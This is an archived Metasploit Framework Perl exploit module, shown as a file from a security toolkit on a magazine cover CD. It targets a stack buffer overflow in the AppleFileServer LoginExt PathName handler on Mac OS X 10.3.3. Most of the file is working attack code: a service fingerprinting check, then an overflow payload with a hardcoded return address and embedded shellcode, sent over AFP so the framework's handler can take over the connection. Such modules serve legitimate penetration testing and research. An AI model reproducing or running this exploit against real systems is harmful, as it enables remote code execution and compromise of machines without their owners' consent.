home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / exploits / afp_loginext.pm < prev    next >
Text File  |  2006-06-30  |  6KB  |  224 lines

  1.  
  2. ##
  3. # This file is part of the Metasploit Framework and may be redistributed
  4. # according to the licenses defined in the Authors field below. In the
  5. # case of an unknown or missing license, this file defaults to the same
  6. # license as the core Framework (dual GPLv2 and Artistic). The latest
  7. # version of the Framework can always be obtained from metasploit.com.
  8. ##
  9.  
  10. package Msf::Exploit::afp_loginext;
  11. use base "Msf::Exploit";
  12. use strict;
  13. use Pex::Text;
  14.  
  15. my $advanced = { };
  16.  
  17. my $info =
  18.   {
  19.     'Name'  => 'AppleFileServer LoginExt PathName Overflow',
  20.     'Version'  => '$Revision: 1.25 $',
  21.     'Authors' => [ 'H D Moore <hdm [at] metasploit.com>', ],
  22.     'Arch'  => [ 'ppc' ],
  23.     'OS'    => [ 'osx' ],
  24.     'Priv'  => 1,
  25.  
  26.     'UserOpts'  =>
  27.       {
  28.         'RHOST' => [1, 'ADDR', 'The target address'],
  29.         'RPORT' => [1, 'PORT', 'The AFP port', 548],
  30.       },
  31.  
  32.     'Payload' =>
  33.       {
  34.         'Space'     => 512,
  35.         'BadChars'  => "\x00\x20",
  36.         'MinNops'   => 128,
  37.         'Keys'      => ['+findsock'],
  38.       },
  39.  
  40.     'Description'  => Pex::Text::Freeform(qq{
  41.      This module exploits a stack overflow in the AppleFileServer service
  42.      on MacOS X. This vulnerability was originally reported by Atstake and
  43.      was actually one of the few useful advisories ever published by that
  44.      company. You only have one chance to exploit this bug.
  45.      This particular exploit uses a stack-based return address that will 
  46.      only work under optimal conditions.
  47. }),
  48.  
  49.     'Refs'  =>
  50.       [
  51.         ['OSVDB', 5762],
  52.         ['MIL',      2],
  53.       ],
  54.     
  55.     'Targets' =>
  56.       [
  57.         ["Mac OS X 10.3.3",   0xf0101c0c],
  58.       ],
  59.       
  60.     'Keys' => ['afp'],
  61.  
  62.     'DisclosureDate' => 'May 3 2004',
  63.  
  64.   };
  65.  
  66. sub new {
  67.     my $class = shift;
  68.     my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
  69.     return($self);
  70. }
  71.  
  72. sub Check {
  73.     my $self = shift;
  74.     my $target_host = $self->GetVar('RHOST');
  75.     my $target_port = $self->GetVar('RPORT');
  76.  
  77.     my $dsi =
  78.       "\x00".                   # Flags
  79.       "\x03".                   # Command
  80.       pack('n', rand()*65535).  # Request ID
  81.       pack('N', 0).             # Data Offset
  82.       pack('N', 0).             # Length
  83.       pack('N', 0);             # Reserved
  84.  
  85.     my $s = Msf::Socket::Tcp->new
  86.       (
  87.         'PeerAddr'  => $target_host,
  88.         'PeerPort'  => $target_port,
  89.         'LocalPort' => $self->GetVar('CPORT'),
  90.       );
  91.       
  92.     if ($s->IsError) {
  93.         $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
  94.         return $self->CheckCode('Connect');
  95.     }
  96.  
  97.     $s->Send($dsi);
  98.     my $res = $s->Recv(16, 5);
  99.  
  100.     if (! $res || length($res) != 16) {
  101.         $self->PrintLine("[*] Invalid response from target");
  102.         return $self->CheckCode('Generic');
  103.     }
  104.  
  105.     my @afphdr = unpack('ccnNNN', $res);
  106.     if ($afphdr[0] != 1 || $afphdr[1] != 3 || $afphdr[4] == 0) {
  107.         $self->PrintLine("[*] Strange response from target");
  108.         return $self->CheckCode('Generic');
  109.     }
  110.  
  111.     # read in the rest of the packet based on length
  112.     $res = $s->Recv($afphdr[4], 5);
  113.  
  114.     if (length($res) != $afphdr[4]) {
  115.         $self->PrintLine("[*] Failed to receive all of the AFP response");
  116.         return $self->CheckCode('Generic');
  117.     }
  118.  
  119.     my (@stathdr) = unpack('nnnnn', $res);
  120.  
  121.     my $machine = $self->ReadAFPString(substr($res, $stathdr[0]));
  122.     my @version = $self->ReadAFPList(substr($res, $stathdr[1]));
  123.     my @uams    = $self->ReadAFPList(substr($res, $stathdr[2]));
  124.     my $icon    = $self->ReadAFPString(substr($res, $stathdr[3]));
  125.     my $name    = $self->ReadAFPString(substr($res, 10));
  126.  
  127.     $self->PrintDebugLine(1, "INFO: machine: $machine");
  128.     $self->PrintDebugLine(1, "INFO:    name: $name");
  129.     $self->PrintDebugLine(1, "INFO:    flag: ".$stathdr[4]);
  130.  
  131.     foreach (@version) {
  132.         $self->PrintDebugLine(1, "INFO: version: $_");
  133.     }
  134.     foreach (@uams) {
  135.         $self->PrintDebugLine(1, "INFO:     uam: $_");
  136.     }
  137.  
  138.     if ( $machine eq 'Macintosh'    &&
  139.         grep(/AFP3\.1/,  @version) &&
  140.         grep(/Cleartxt/, @uams) )
  141.     {
  142.         $self->PrintLine("[*] Possibly vulnerable MacOS X system found");
  143.         return $self->CheckCode('Detected');
  144.     }
  145.  
  146.     $self->PrintLine("[*] This system does not appear to be vulnerable");
  147.     return $self->CheckCode('Safe');
  148. }
  149.  
  150. sub Exploit {
  151.     my $self = shift;
  152.     my $target_host = $self->GetVar('RHOST');
  153.     my $target_port = $self->GetVar('RPORT');
  154.     my $target_idx  = $self->GetVar('TARGET');
  155.     my $shellcode   = $self->GetVar('EncodedPayload')->Payload;
  156.  
  157.     my $target = $self->Targets->[$target_idx];
  158.     my $path = "\xff" x 1024;
  159.  
  160.     substr($path, 168,  4, pack('N', $target->[1]));
  161.     substr($path, 172, length($shellcode), $shellcode);
  162.  
  163.     my $afp = 
  164.         "\x3F\x00\x00\x00".
  165.         pack('C',length("AFP3.1"))."AFP3.1".
  166.         pack('C',length("Cleartxt Passwrd"))."Cleartxt Passwrd".
  167.         "\x03".   # user type
  168.         pack('n',length("metasploit"))."metasploit".
  169.         "\x03".   # afp path type
  170.         pack('n',32).$path;
  171.  
  172.     my $req =
  173.         pack('CCnNNN',
  174.         0,                  # Flags
  175.         2,                  # Command
  176.         rand() * 0xffff,    # Request ID
  177.         0,                  # Data Offset
  178.         length($afp),       # Data Length
  179.         0,                  # Reserved
  180.         ).
  181.         $afp;
  182.  
  183.     my $s = Msf::Socket::Tcp->new
  184.       (
  185.         'PeerAddr'  => $target_host,
  186.         'PeerPort'  => $target_port,
  187.         'LocalPort' => $self->GetVar('CPORT'),
  188.       );
  189.       
  190.     if ($s->IsError) {
  191.         $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
  192.         return;
  193.     }
  194.  
  195.     $self->PrintLine("[*] Sending request to AppleFileServer (".length($req).") bytes");
  196.     $s->Send($req);
  197.  
  198.     # Call the client handler
  199.     $self->Handler($s->Socket);
  200.     return;
  201. }
  202.  
  203. sub ReadAFPString {
  204.     my $self = shift;
  205.     my $data = shift;
  206.     return substr($data, 1, unpack('c', $data));
  207. }
  208.  
  209. sub ReadAFPList {
  210.     my $self = shift;
  211.     my $data = shift;
  212.     my @res;
  213.  
  214.     my $list = unpack('c', $data);
  215.     $data = substr($data, 1);
  216.  
  217.     for (my $idx = 0; $idx < $list; $idx++) {
  218.         my $item = $self->ReadAFPString($data);
  219.         $data = substr($data, length($item)+1);
  220.         push @res, $item;
  221.     }
  222.     return @res;
  223. }
  224.